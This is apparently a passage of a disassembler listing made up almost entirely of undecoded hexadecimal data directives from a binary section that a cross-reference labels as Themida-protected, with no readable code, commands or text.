		dd 4244481h, 17h, 98C35747h, 29E80A02h,	0E2017585h, 3ADE905h
		dd 95090000h, 5E22451h,	4E8h, 12C00h, 0AE800h, 17260000h
		dd 0FCA4A3B1h, 6BF2F669h, 8E8h,	0E1783700h, 0A526B3E9h
		dd 9E9E8h, 30C00000h, 0F2C464D4h, 5B10B401h, 8B665059h
		dd 24448BF8h, 11BF6604h, 0BF008BF7h, 0E90FCBh, 4244489h
		dd 9E860h, 7D470000h, 9FED1A9Fh, 0E9209B4Ah, 12h, 6C85B121h
		dd 66FBBDF0h, 95DC24C4h, 0FD22188Fh, 615FB15Eh,	699D3158h
		dd 0FF05E20Eh, 0E20AB995h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0AA581646h
		dd 0DE8h, 0A2ADF700h, 26E484CFh, 40AA2950h, 8D332974h
		dd 5E20615h, 80B58D5Ah,	0F05E8F3h, 688h, 2D9D0100h, 0C705E207h
		dd 34383106h, 53006A36h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 4B396DE7h, 0C7E9B7CEh, 2D370446h
		dd 8D293134h, 5E214F5h,	846C7h,	57000000h, 6A59FCh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 64C35141h, 0A35E1FB8h
		dd 0E9609AEBh, 0Eh, 0B03EEE98h,	37AE68F4h, 44A154DDh, 8E0F342Fh
		dd 2, 8D615F52h, 0E8F38085h, 0B1BD3305h, 5005E20Eh, 11E9h
		dd 1D41B200h, 526A9B44h, 54A652B5h, 9ED355F0h, 489A8A6h
		dd 14E924h, 21620000h, 645B2B8h, 0C0B6FC9Bh, 4A3D0352h
		dd 9F4B78B1h, 95FF5218h, 5E23199h, 71D9529h, 0C00B05E2h
		dd 3D840Fh, 11E90000h, 9E000000h, 7AF27F79h, 1197FFEDh
		dd 0AE5C797Dh, 2AE9D643h, 1EEE9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 1240982Bh
		dd 0E8A524BBh, 4, 12Ch,	1E8D0Fh, 0E8600000h, 6,	0C07BAD86h
		dd 0E95E78A1h, 0Bh, 7B14B8E3h, 0EC9DEE09h, 61B6C03Ah, 0A1BB6650h
		dd 24448B57h, 0E0BA6604h, 50008B78h, 59D18B50h,	2444895Bh
		dd 0BDBF6604h, 6A5889h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0E3FC96C3h, 1D5D8D8Bh, 95FF05E2h
		dd 5E20AB9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	0FEC35343h, 3784C0F8h, 0B58D3563h, 5E8F380h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9DC35747h, 6D266B25h
		dd 4606C702h, 6A656C69h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 56BEC350h, 26A19589h
		dd 0C75B05E2h, 6F6D0446h, 0CA8B636Eh, 6C0846C7h, 0B5737361h
		dd 0C46C7B0h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0EFC35242h
		dd 0C316B9F7h, 0BD0350C2h, 5E2013Dh, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0B36666C3h
		dd 80858DD5h, 2905E8F3h, 0E20BF1B5h, 0CE8B5005h, 66240489h
		dd 33F3F281h, 319995FFh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 548529C3h, 0B0148E9h
		dd 0E2094195h, 0E6EE8005h, 840FC00Bh, 0Ch, 2CE9FE8Bh, 66000000h
		dd 4DBAD381h, 0FFFA6BE9h, 53006AFFh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 49958BA1h
		dd 8D05E221h, 0E27219B5h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 2B82DD2Dh
		dd 0B80Ch, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 89AB2FC3h, 0AFBB988h, 8E91A3Bh
		dd 69000000h, 0F5385CA3h, 0FF4D2208h, 0C18D8BE6h, 8B05E221h
		dd 0F404EBC1h, 0E9581E8Bh, 56Ch, 616D29AFh, 0CAD0D400h
		dd 933F8377h, 656127AEh, 0CDC9D704h, 0DCECFB6h,	0B3261B87h
		dd 5A80E1EDh, 0F94856h,	0D1501CBAh, 0F043C788h,	0D7171EF9h
		dd 0D823696Eh, 0D5946499h, 0CB009B27h, 18B9C172h, 0ADAE0BFCh
		dd 64FC18B9h, 0FF34030Fh, 29696ED3h, 6EBDEAB0h,	51B4F2E7h
		dd 5BA2E6EEh, 59A591DBh, 4DFC1AA0h, 0F9C2CE0Ah,	92388476h
		dd 0A4BEC6Fh, 0DBFC18B9h, 0E6145B6Ch, 1A680D06h, 0E825E766h
		dd 19A7529Dh, 4A3A2482h, 337F7D3Ch, 6935A7AAh, 61D277F6h
		dd 0ABFC1885h, 18854D0Eh, 0A3AF84FCh, 5217F3D4h, 0BB84E7A5h
		dd 0FC188587h, 2D7846B5h, 147735A2h, 4CB480CAh,	4FC2B234h
		dd 3A044F92h, 6139h, 696E0D00h,	0EB27ACFFh, 0E5526779h
		dd 7586B986h, 2B9DFC18h, 0DFF9D45Bh, 1563A04h, 68000000h
		dd 4FE8666Eh, 0FC18B90Eh, 5203EDCAh, 92B898EFh,	0F815B4A5h
		dd 6933D7Eh, 0C333B2C9h, 0BA3DA4C7h, 0A3E5A9FCh, 2B6F67D3h
		dd 39857534h, 5287FAA0h, 783B4E54h, 0A9E83381h,	18294F00h
		dd 7CA986FCh, 6D6E9F6Bh, 599DC427h, 5287CE5Dh, 0E94E3154h
		dd 0FC18B968h, 5A9FC2B9h, 67E1C95Ch, 1546E38Fh,	0CCFC18B9h
		dd 72F43A77h, 0F9C73482h, 2D6B6CDDh, 5F6397DEh,	5222A4CCh
		dd 41112DFh, 0A5B93Ah, 77360000h, 74E10482h, 0EFAE9753h
		dd 5807A0EEh, 0FD6A1DA3h, 8F24C1FBh, 98A30435h,	9F25D699h
		dd 0CBD7034Eh, 0DA4FF2B0h, 77B8BFA3h, 0B2F6FE37h, 14B5E26Bh
		dd 6D2C5A2Ah, 40D92C6Ah, 0A56239D1h, 2659963Dh,	184AD081h
		dd 912A01FCh, 0B9BB2DAEh, 0F297EE43h, 0DD5CC338h, 1856FB7Ch
		dd 870BF1FCh, 0F1BAC9Bh, 4CF3C13Ah, 56EB6CCDh, 4D3AFC18h
		dd 0DDEDA1Ah, 0B2F8FF66h, 0B78FC96Bh, 500AD70h,	3F223Ah
		dd 6E040000h, 5DC4276Dh, 585E9BDAh, 18B94E0Fh, 1FA887FCh
		dd 87E6AA50h, 0F7433335h, 7A46B206h, 6EDB810Dh,	7C3F2266h
		dd 67D4377Dh, 0DC523F46h, 0C5FC18B9h, 0A17CB383h, 0E3A0413h
		dd 1, 266A6E30h, 4CDD5CC7h, 91BAF24h, 0B8B982B6h, 0B2FC1884h
		dd 0A9227947h, 1545D6ADh, 4E451E98h, 8572FDCEh,	98410007h
		dd 79428B12h, 7A4AF4D2h, 6BEC4DCCh, 0A1FC181Ah,	181A5718h
		dd 95B18EFCh, 96420DDEh, 3A7D8C0Ah, 14EDFEBAh, 0A5245B0Fh
		dd 50ABF9E2h, 0C979C21Bh, 3801FA6Eh, 0E0793843h, 0E5A175D2h
		dd 0CE714AF3h, 1D9C8309h, 0FA49BBBCh, 0DF176AF9h, 0DE0B40DBh
		dd 0AF28190Dh, 0BAB592E9h, 0E1F9FA49h, 0D79821A0h, 0EF9FA49h
		dd 0D6AEA831h, 0AD296F68h, 0E9D1BDCh, 719412C7h, 788309CEh
		dd 6CBF03F9h, 89EFC787h, 47F3C365h, 0B6D5D304h,	8FE31405h
		dd 8FB2AC6Ch, 0C0C6333Eh, 0A74CC841h, 0CFAA0C7Bh, 0AF6228FEh
		dd 1C3FE69Ch, 141h, 9E1ADA9Dh, 9FDCE0Fh, 0D0577B18h, 0FADF3B77h
		dd 86E55201h, 0F61C9A5Fh, 254046B3h, 2C7F3DBAh,	24D09396h
		dd 0F7D00560h, 0CE0B774Fh, 0DE1659C8h, 0B10A43DAh, 3972AFD5h
		dd 7DD93FE6h, 0ED000000h, 3A9F7918h, 0FC18B939h, 0B9E556F3h
		dd 473CFC18h, 0B93D6CDBh, 0DE8180FDh, 0C74A9319h, 5EF5D344h
		dd 0C0A0475Ah, 0FA0D9EE7h, 0FCBFFC18h, 0FF2BBCF8h, 5B1C6580h
		dd 33FC18FDh, 0CBCC5BCCh, 4685BB93h, 79F2098Fh,	0C3B3BB0Ch
		dd 0B3241E01h, 0AB2F96F5h, 1A5784E7h, 0AE3BBAADh, 0D1CE2D31h
		dd 7D43B818h, 5770AD2Eh, 18719D0Eh, 0BAC2FFCh, 0FC18714Ah
		dd 8F1BAC9Bh, 86B72AB0h, 0CF000000h, 0A7EBEFAEh, 0FDB61744h
		dd 6CCD7C50h, 1FAD2CAh,	0D41F6EC5h, 75E26523h, 432D0B62h
		dd 0C3C7E0BDh, 0D99A3FBEh, 8F9FA8Dh, 32A7AA33h,	3C481174h
		dd 61F9FA8Eh, 347A6120h, 1B4364D1h, 9C1ADF2Bh, 0F4D84576h
		dd 0D673F275h, 0F9FA8C65h, 0F566C7BCh, 0F7F9FA8Ch, 0AF92B806h
		dd 0D704672Bh, 0EBAF279Ah, 1F825B90h, 0E381CDBAh, 3C4F2407h
		dd 0C7C53275h, 387E7BE6h, 6B5B05EDh, 41C0E469h,	0CA8403F8h
		dd 810D7A09h, 577B18DBh, 0B4B277D0h, 9CEB0201h,	93470609h
		dd 27A130D3h, 4B80D30Fh, 8C0ACF72h, 0F0B62306h,	5A21CC95h
		dd 0B2F45FF8h, 58374C2h, 692FA899h, 6624D312h, 981EDC07h
		dd 84E75C60h, 891C9A5Dh, 0FD089446h, 0C4B03A78h
		db 0B6h, 11h, 20h
byte_55DBFB	db 13h			; DATA XREF: Themida_:004EEA18o
		dd 0BAF19FC7h, 0B5347D4Dh, 0C7132314h, 0F40E99Fh, 0C69FC713h
		dd 0CD4AED69h, 920572F9h, 64099D6h, 9117C02Eh, 0C5C33475h
		dd 3DFA6h, 0A7E70000h, 2C686E9Dh, 5B6196D9h, 575B81C0h
		dd 404E8D34h, 7341BA25h, 6E34A928h, 9B21D41Fh, 9519C100h
		dd 8307CF76h, 8951F278h, 4BB53E1h, 1000000h, 0E9835BD9h
		dd 240C8704h, 4B05685Ch, 4890000h, 1FE6824h, 2C890000h
		dd 0EFBB5324h, 0B80A7074h, 10596FB0h, 0C1388A2Dh, 5D82905h
		dd 5C1388Ah, 7EE2685Bh,	24890000h, 24048324h, 0FC685D04h
		dd 8900000Fh, 4812404h,	5253824h, 8458F0Eh, 38086D81h
		dd 8B0E0525h, 8956242Ch, 4C681E6h, 81000000h, 4C6h, 24348700h
		dd 2434FF5Ch, 4C48358h,	0F97FF6E9h, 594C8FFh, 5AD88D20h
		dd 0D259B6B7h, 170FF170h, 0E8FF9BB8h, 0FFC50305h, 4B6F10E0h
		dd 63036A19h, 50CEF93Ah, 0E6189C4Dh, 233CB152h,	4963A4Fh
		dd 67F45339h, 0D6F6A45Dh, 1F892C56h, 5A4997Bh, 0AB75117Dh
		dd 1FA36F38h, 0E2361004h, 53F89152h, 5B7E325Ah,	8139B615h
		dd 52F56E6Fh, 0F09D5E57h, 0B3AF3C4Ch, 493C5125h, 5931BD18h
		dd 0D402526Ch, 1E11FE08h, 9089FA20h, 4BB7507Dh,	308D8D4Ah
		dd 0F05E901h, 585h, 0EF35BB00h,	8D89184Fh, 5E20BE9h, 642BB866h
		dd 76185C7h, 601805E2h,	10E90000h, 54000000h, 4F45B5D7h
		dd 861B7E33h, 8AC94537h, 0C7CC8CBCh, 0E21B5585h, 5, 0AE800h
		dd 9E950000h, 7218BFF0h, 4CCB185Eh, 1FBDB58Bh, 0FF5805E2h
		dd 0E22361B5h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0DC4E382Fh, 0F029BE27h
		dd 95FF7233h, 5E20B15h,	0AE6BBE66h, 95FF006Ah, 5E20AB9h
		dd 28EBC08Bh, 0B4EA17Eh, 8E74BFBCh, 0C95716BFh,	315E7D54h
		dd 0B47C7AFBh, 0C5D9B1ADh, 0D6D9D0EDh, 0BF9962B7h, 5CF5244Bh
		dd 9B47220Ah, 2AE9h, 2404C700h,	0
		dd 0E8h, 0ED815D00h, 5E9016Eh, 424448Bh, 6418589h, 0B805E2h
		dd 8D000000h, 0E24C428Dh, 0B8E1FF05h, 6754h, 0BE8h, 8478E400h
		dd 7797A5AFh, 4EFD9285h, 5BFAB70Fh, 668EC381h, 8A0F0000h
		dd 1, 1977B9F5h, 0BF0F0000h, 8133FFC1h,	0D58E1E7h, 0D0815A06h
		dd 35630925h, 6EDDEA81h, 81664E32h, 8142C3C6h, 3665D5F2h
		dd 4870F77h, 66000000h,	81A1FCB8h, 0CE77EFF2h, 12E904h
		dd 86190000h, 80646015h, 5B53FFC9h, 883A64E2h, 0D108EAD0h
		dd 8FE38A52h, 83F18B03h, 810F04EBh, 6, 8F0Fh, 0E9810000h
		dd 1, 14850Fh, 0FE8B0000h, 22E9h, 7FFDD00h, 9C8324C9h
		dd 52B9F323h, 860F4EA2h, 3, 0E961FC60h,	0FFFFFF75h, 89967BEBh
		dd 0E9C3C0CDh, 0AEh, 0D1FDB93Fh, 0BA206490h, 38F13C7h
		dd 0D5F1B73Eh, 0BD596794h, 9D5E5F06h, 43B68B17h, 0EA10517Dh
		dd 904938A6h, 0A1C08C0Ah, 0F1BB5718h, 47878EF9h, 0DA21676Eh
		dd 0DFDD185Bh, 0B94E0FA8h, 0A887FC18h, 44077A1Fh, 78FD0894h
		dd 6BF5E06Fh, 0CCFE3A89h, 2B5E8B96h, 9B2C7068h,	35205C8Fh
		dd 2DF2FC18h, 59FC5B8Ch, 0FC1862A8h, 0DE9CDC64h, 746928FCh
		dd 4D9EDF2Eh, 3E2h, 9DA71800h, 0D92C686Eh, 0C05B6196h
		dd 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h, 9B21D4h
		dd 769519C1h, 788307CFh, 25168F2h, 18E905E9h, 5FFF97Dh
		dd 0F2B86FABh, 305E902h, 1904EBC5h, 0E94C86A4h,	519h, 913D797Fh
		dd 7A6024D0h, 0C3CFD307h, 9531777Eh, 7D9927D4h,	5D9E1FC6h
		dd 3F64B57h, 0AA5011BDh, 5089F8E6h, 61804C4Ah, 0F1BA97D8h
		dd 7C74EF9h, 0D8FF696Eh, 0F3C84723h, 0B43F4EBBh, 87C67947h
		dd 0E5174A50h, 0B00942D9h, 0E31457EAh, 9C5D04A5h, 4FFE6B1Eh
		dd 0FC7DDA90h, 15FC18EAh, 79983D5Eh, 7CE78E5Fh,	0F5C3377Bh
		dd 3843B806h, 0BC2746B3h, 4ACD7C38h, 18D36CEDh,	9BCEA5FCh
		dd 0E48F585Eh, 0EE3D797Dh, 28F67067h, 3C9263CEh, 55BDC805h
		dd 0A1A51BEBh, 36A30FE7h, 0E5176A70h, 14781B05h, 0F72C0057h
		dd 586496EBh, 624B029h,	21CF9673h, 8772FD98h, 8FC4CA33h
		dd 9C22D998h, 9CC6204Bh, 3C0D9AA8h, 0B2D9076Ch,	0A6B818Ah
		dd 0B97DDECCh, 0F7BB2120h, 5B6196EBh, 0CACB67C0h, 96D0FC18h
		dd 86B66B9Eh, 6A153A04h, 92000000h, 0E0204705h,	6344A5D7h
		dd 8A2FAE87h, 0FC18B9C9h, 0D79A2318h, 1E016422h, 0B7109E5Fh
		dd 18B9D36Eh, 1659C8FCh, 6422D5E5h, 4E9FD401h, 24F93004h
		dd 8B3A0413h, 1, 22666EBFh, 5A1BBC3Fh, 8BFC18B9h, 1002BBCh
		dd 0C811975Eh, 32494D89h, 274644B3h, 0FD493D7Fh, 5011BDF9h
		dd 44E5E1A7h, 8D96C6D3h, 2BBCECD7h, 276D6E5Fh, 5D599DC4h
		dd 64F5B4CEh, 36A40DF9h, 0B1DA136Ah, 0C4E53A56h, 9F5CAA9Ah
		dd 43B4F511h, 3C7F2645h, 15D321BBh, 16BFA1A4h, 0D70342D9h
		dd 0CE3BB0CBh, 3A8672FDh, 2F0741E3h, 43535F8h, 0B019983Ah
		dd 0FC1897BFh, 43C01956h, 7Ah, 276D6E67h, 21CC5DC4h, 859D1AAAh
		dd 1AFD9Eh, 0FCC30705h,	287464EBh, 3F857639h, 0BC386FECh
		dd 9F28ADF8h, 880B8EF4h, 18892E2Fh, 3F88E7FCh, 0AF33F37h
		dd 16C28584h, 19A5578Ah, 7667DAC0h, 6392DD28h, 38BEC625h
		dd 787F3E4Ch, 3F62EB32h, 2CA9FCBAh, 4142EF9Bh, 32893A04h
		dd 0BD000000h, 0C4276D6Eh, 0C8535F9Dh, 208E66E0h, 0F372F5BBh
		dd 18B9E556h, 66473CFCh, 666EBAA0h, 0C07EDB22h,	0D9FC18B9h
		dd 0BD10976Fh, 123A0413h, 1, 266A6E54h,	5D5B9CC7h, 8E66E0CEh
		dd 0EEF4B820h, 0DD4C60EDh, 0FACDCA7Ch, 7C7F3E01h, 3A719536h
		dd 9821A0E3h, 0F9FAADD7h, 0A90E310Eh, 0F9FAADA8h, 0B6B90279h
		dd 0EA5F7B41h, 2FB8AFEDh, 41B5A014h, 0A4B52645h, 0E2999ED2h
		dd 3A4B059Ah, 53FAC338h, 276B91D0h, 50023D86h, 0C530F9FAh
		dd 0BD3DA4C7h, 50DD9E3Bh, 3F74F9FAh, 105ABBC2h,	8504DC24h
		dd 339418C2h, 0ACF3B0Bh, 3C4F5586h, 0E54442BFh,	0EC57B6F4h
		dd 91C267EBh, 40F9FA50h, 88BBEEBh, 502F2089h, 89E6F9FAh
		dd 0FA50BFB0h, 0C01956F9h, 0D7AF09A5h, 0A2286E6Bh, 0E6FC29E4h
		dd 11E863Fh, 40030000h,	0F6B4159Bh, 0F18B7B18h,	76E74006h
		dd 0AFFC1893h, 1C9A47D0h, 0C0691855h, 1FACA72h,	145FAE85h
		dd 4839A5E3h, 73F2098Fh, 49E50086h, 2EAB17EFh, 9CDF6268h
		dd 83C85359h, 4FD10C3Ah, 477E3FE6h, 40000000h, 0D2557918h
		dd 18B91475h, 97F64DFCh, 18B989CAh, 8D79E1FCh, 98D97EE1h
		dd 49FC18B9h, 7110E9F2h, 1C8D2A5Dh, 0AEFC18B9h,	1BACEAEFh
		dd 972AB08Fh, 7CCD3702h, 97307EFDh, 0FC18CBA6h,	0F2CB007Fh
		dd 93AFh, 7B18D700h, 0EE51D057h, 1744A7EDh, 0D2CD6DB6h
		dd 9CDF01FAh, 8C2D5C58h, 0F9FAA0CBh, 0E9C2D1Ah,	0E8ABEA31h
		dd 90C166F0h, 41F9FAA0h, 252CBDEAh, 99E8F6B4h, 66C35A60h
		dd 0F9FAA3CEh, 95E1D593h, 60232664h, 0F4922B79h, 0F76A5EC3h
		dd 0F85DE374h, 839410C4h, 0F1CAB021h, 0E3FFA3A8h, 1A0D7A07h
		dd 0E3194A8Dh, 0D3731546h, 0E677CCF7h, 526BD7BCh, 494F88CBh
		dd 2AADD432h, 0D3B5CC8Dh, 0B62405F7h, 0ED5A93EAh, 22A292DCh
		dd 0B116093Dh, 9CAB084h, 0F2F8E65Dh, 0D0577B18h, 0A5EBEE51h
		dd 0BCBEBB04h, 18570201h, 0E8B42669h, 0D16EA26Fh, 318AC105h
		dd 622EAB2Ah, 0D6FC2977h, 21206693h, 0CB5819BEh, 0E584F9F1h
		dd 7EAF4E5Bh, 6C7DCA50h, 0D07178C1h, 0CA8C4061h, 4D4B8CFAh
		dd 0B1F7E041h, 0AEECEB6Ah, 0FDC9735Fh, 444248B1h, 0B3B6F4E5h
		dd 648705F0h, 0E44FD6F7h, 3, 6E9DA71Eh,	96D92C68h, 81C05B61h
		dd 8D34575Bh, 0BA25404Eh, 0A9287341h, 0D41F6E34h, 0C1009B21h
		dd 0CF769519h, 0F2788307h, 81E28952h, 4C2h, 4EA8300h, 5C241487h
		dd 68241489h, 4A99h, 68243C89h,	57FEh, 68240489h, 1472h
		dd 0BE243489h, 34A37F53h, 727E681h, 0EE813D37h,	54555A24h
		dd 14BDC681h, 0EE816D8Dh, 4771BE8Bh, 545EF789h,	8124048Bh
		dd 4C4h, 0BF575700h, 3FF502E4h,	4247C31h, 8408F5Fh, 0E4087081h
		dd 0FF3FF502h, 81582434h, 4C4h,	2434FF00h, 4C4835Fh, 0F977F2E9h
		dd 0C80718FFh, 894D8B8Eh, 7A1B82Ah, 0C50305E9h,	69D7E0FFh
		dd 0A0FE0922h, 0D6A577D8h, 78705C47h, 0E36A7BCCh, 6E594364h
		dd 0FA5E1B4Ah, 0A6352D3Dh, 9C2463F4h, 8AAF343Eh, 23C52FA1h
		dd 0B635614h, 0C1431C0Eh, 57751278h, 0A8D06C67h, 0D871421Ah
		dd 51BD109Eh, 62326BC6h, 65EA4FC7h, 0E5523EB2h,	0DA355706h
		dd 0B80070F5h, 5861518Dh, 0EB5707DEh, 4EB45EFh,	442FA21Eh
		dd 0D79E9h, 0ABD6800h, 6CE905E9h, 68FFF977h, 5E90BC6h
		dd 0F97762E9h, 0C7C68FFh, 58E905E9h, 68FFF977h,	5E90D48h
		dd 0F9774EE9h, 10CA68FFh, 44E905E9h, 68FFF977h,	5E91381h
		dd 0F9773AE9h, 147B68FFh, 30E905E9h, 8AFFF977h,	0FF42484Ch
		dd 5217B3F7h, 8DFC1AA6h, 0E3464C4Ah, 912EB4FAh,	6230ADF2h
		dd 0C8D60564h, 317D7FC2h, 6523D495h, 0AB0C7579h, 0F9F1B1AAh
		dd 84B3A7Bh, 0FF58CFCDh, 0F9F1B17Eh, 3B0FD897h,	0C4276D6Eh
		dd 0B7535F9Dh, 0B4AB9F84h, 0FAC7A713h, 0D20B7E01h, 0C73CB9CCh
		dd 0B7A6DBA4h, 33B5F9FAh, 13B43743h, 0F9FAB722h, 637E38FEh
		dd 18061795h, 31EC9A23h, 9E3FE619h, 3Eh, 9D7B18A0h, 18B93B3Ch
		dd 209DEAFCh
		dd 32767E21h, 0DC166A9h, 2401FAD5h, 0D34FD84Fh,	28306097h
		dd 602CAC13h, 0DE533C47h, 0CDF9FA40h, 9974BB8Bh, 363FE70Ch
		dd 0Ch,	8004F0B3h, 0E28E4327h, 0B4000008h, 0D823696Eh
		dd 0BC5A6099h, 8FB296BBh, 0FCA8D0Ch, 0B9B7B881h, 45B5FC18h
		dd 0ADA92279h, 0CEACF5D6h, 0C101FAD8h, 5110136Ah, 5784E7ABh
		dd 0A6102D76h, 0B822F9FAh, 0AA2E91F4h, 868A87E6h, 0ACA4392Bh
		dd 9165275Bh, 0A79FD92Fh, 0E646AD60h, 43023Fh, 18240000h
		dd 91D0577Bh, 9BDA2165h, 0BCE3585Eh, 256C7D3Bh,	0FAD1D284h
		dd 32971601h, 0F9FAA101h, 0C4429BD0h, 3E331C6Fh, 2DF9FAA1h
		dd 3EB02D6Ch, 0E8297F6Eh, 0B10A4797h, 974ABD89h, 343FE6AFh
		dd 0D7h, 29696E0Eh, 0D38425B3h,	2FC18B9h, 7883F835h, 38847639h
		dd 105F68EDh, 0DF46A5EBh, 0CA515F9Ch, 0C0393881h, 0B720A3FAh
		dd 2DD94EF1h, 0ACF0E8B4h, 0C6C965ABh, 0E9A621E5h, 0DBFC18D6h
		dd 0F72981Eh, 0F6B9CCCAh, 0D461D277h, 0FBB0FC18h, 7F485484h
		dd 38BF9986h, 0A5020572h, 1FA876Dh, 2823AF84h, 0A700072Bh
		dd 41FF380h, 195AFF7Eh,	0C8F7DFEBh, 473C6A73h, 565C81C0h
		dd 0BE04F948h, 7E43D271h, 0A58C99FEh, 0A9Dh, 656125D3h
		dd 0CED4D004h, 97337F7Bh, 796523D2h, 0C1CDD308h, 9F2CBAAh
		dd 0AF2A1FBBh, 5684E5E1h, 0FCFD4C4Ah, 0D52C10BEh, 0F1B3C374h
		dd 0AB1312F9h, 0A2E8EFAEh, 86C9125Bh, 0FE434F55h, 39C26FF9h
		dd 435102A7h, 0AB80FC18h, 0B37A0CA2h, 18925846h, 6D368B7Bh
		dd 0FC9D21DBh, 2F64EADFh, 26DF9F38h, 397601FAh,	0B6E885E2h
		dd 7DFBF9FBh, 22CB0689h, 0DC603FE7h, 5A000000h,	0D823696Eh
		dd 0CF5E6499h, 0C6A2D344h, 0E41947A9h, 0A6A57AC3h, 0E217FC18h
		dd 0A488C96Eh, 0E259FC18h, 0A499DA7Fh, 0F348FC18h, 0B0291886h
		dd 79B6FAE0h, 6448D522h, 0B32362E5h, 0E02794F7h, 0C912ABF9h
		dd 1FAF751h, 67E871F0h,	0A5F9FAF6h, 0FAF65304h,	0A9B582F9h
		dd 7E7965D2h, 0ED4AFDD1h, 41F2649h, 0F574EB40h,	0E6478D64h
		dd 53F4AE3Bh, 0F7DE8AE2h, 0EF9833h, 1CA14F70h, 347860A7h
		dd 0B02D6C93h, 5885E4E2h, 45782D4Ah, 0AEFBFE7Fh, 994C7h
		dd 6A2EA800h, 0DDD91D6Ch, 4887031h, 6E2CAB9Eh, 0D6DC0160h
		dd 0CBD4B3C8h, 23068C12h, 9DECEAB8h, 0F2B7535Fh, 5B1B8705h
		dd 0B2CC8D2Ah, 1805F9F1h, 276D6ED2h, 8B11C6BBh,	0FCAF0394h
		dd 57FFEA84h, 184841F2h, 6EDB90FCh, 6E83495Dh, 99D82369h
		dd 0ECAA5060h, 1C59ACE8h, 0DD6C6AA7h, 9C8E5E9Ah, 3DA1A770h
		dd 0BC842592h, 0D4F865D9h, 7A12C455h, 701FBB19h, 0B8F2857h
		dd 4201FAD1h, 0F894B3F5h, 0BAA03FF6h, 198EB195h, 0A8ABACB8h
		dd 77BA03FEh, 5DFAFCD2h, 0CD5817AEh, 0C47B6FF4h, 77782F63h
		dd 76E946B4h, 0DEC4C237h, 0C3286E6Bh, 4ED6D154h, 0DE036207h
		dd 12000008h, 473AA0E4h, 0BA8F0B8Fh, 1554723Eh,	4B3EA4E2h
		dd 69860C92h, 0FAC8358Ah, 206E6DDCh, 8915C7BAh,	0FDBB3C0Dh
		dd 3394EDD1h, 0F9F1B502h, 6E6852D3h, 0ECB22969h, 0C027B0B7h
		dd 6EE8AF2Fh, 5B9016C1h, 2FB8FB82h, 2CD1F1F8h, 45D60766h
		dd 88FF7D08h, 8770494Fh, 9ADB7C9Ah, 4BFC181Fh, 0C6345BFCh
		dd 0E33F482Bh, 0F016B3B6h, 2B01FA75h, 0E2C55180h, 3368E7BFh
		dd 38F4D0Ch, 3B3C9D1Ch,	0EAF9FAF5h, 2B5E4C9Dh, 44E56D68h
		dd 0F9FAF513h, 0ED3875C2h, 0EA105F68h, 6236A3A6h, 86492D5Fh
		dd 0EFA56DEEh, 1F7598DEh, 99DAA7CEh, 75F9FAC7h,	0F9FAB7F8h
		dd 8CB397BCh, 186DBB2Bh, 8E1D6A04h, 0EF149247h,	0FE80DE5Ah
		dd 12F9582Dh, 26000008h, 9BEEF4B0h, 0CEB35F5Bh,	2918860Ah
		dd 9FE2E8AEh, 3D4A505Eh, 0E944956h, 743AA180h, 0DDE11B6Eh
		dd 1877031h, 0FA8D985h,	0F9F1B44Eh, 0AE5C9E87h,	44A7EBEFh
		dd 50FDB617h, 7A6CCD7Ch, 8E01FAE3h, 3F372C19h, 7DAC8723h
		dd 7FAB3C7Ah, 7A7AE500h, 0EE11903Eh, 0FA130849h, 5962D9F9h
		dd 43DADE16h, 0CCEE876h, 0BBF06580h, 13CA2384h,	0B720F9FAh
		dd 860CCEFFh, 0CD8E2BB4h, 4F9FA86h, 0EA4FF22Fh,	0F9FA8669h
		dd 0ACFAC3B8h, 0E06AB4D7h, 18F16614h, 0A8DA7BFEh, 0E2AE2A9Dh
		dd 0C689529Bh, 5B57800Eh, 44A71CA2h, 0AB3CDA17h, 0F9FA8396h
		dd 0E9984CD2h, 0E8B62766h, 223F589Dh, 32D2712Ch, 92E74099h
		dd 8BF9FAB9h, 0DC1F9B60h, 75A2F9E5h, 12DC1869h,	0FA9E84B5h
		dd 70E146F9h, 0A1F9FA9Eh, 70F74CCAh, 0FA9E66D7h, 8BC0BFF9h
		dd 9826D594h, 54FFC80Dh, 0FA9D7E0Bh, 28E4CF9h, 3D8378FBh
		dd 12E2A4EEh, 1C6F35A4h, 1E5862DFh, 0A3591826h,	98458C1Fh
		dd 0D7AF30Ah, 4541B5BCh, 565483C2h, 61258637h, 0B5D0D400h
		dd 0FA91A7ECh, 1CE852F9h, 646226AEh, 46F9EF73h,	0FA914DE1h
		dd 0BCCFA4F9h, 0C93372F5h, 1435A6C5h, 0F9FA9123h, 0DB2485F2h
		dd 7598353Fh, 12C7C90Dh, 85CC5F94h, 0BA334A58h,	0F1149247h
		dd 0E65A2A2Ch, 0C2704482h, 872CCC55h, 5677FEFCh, 4744FDD0h
		dd 18952B4h, 18940000h,	77D0577Bh, 1FADDCFh, 0B7362906h
		dd 428503F4h, 0B1B00997h, 0FED69E48h, 0ABB94481h, 0E811507Eh
		dd 9B3CBFA2h, 0F9FAD1DAh, 0E051F60Bh, 31F9FAD1h, 410C0D7Ah
		dd 1B2F7A3Ah, 2B741FA8h, 86BD7CF4h, 36F4701h, 77CAD0D6h
		dd 8E10482h, 1B42FA0Ah,	7FE556F3h, 473C7130h, 55D3C8D6h
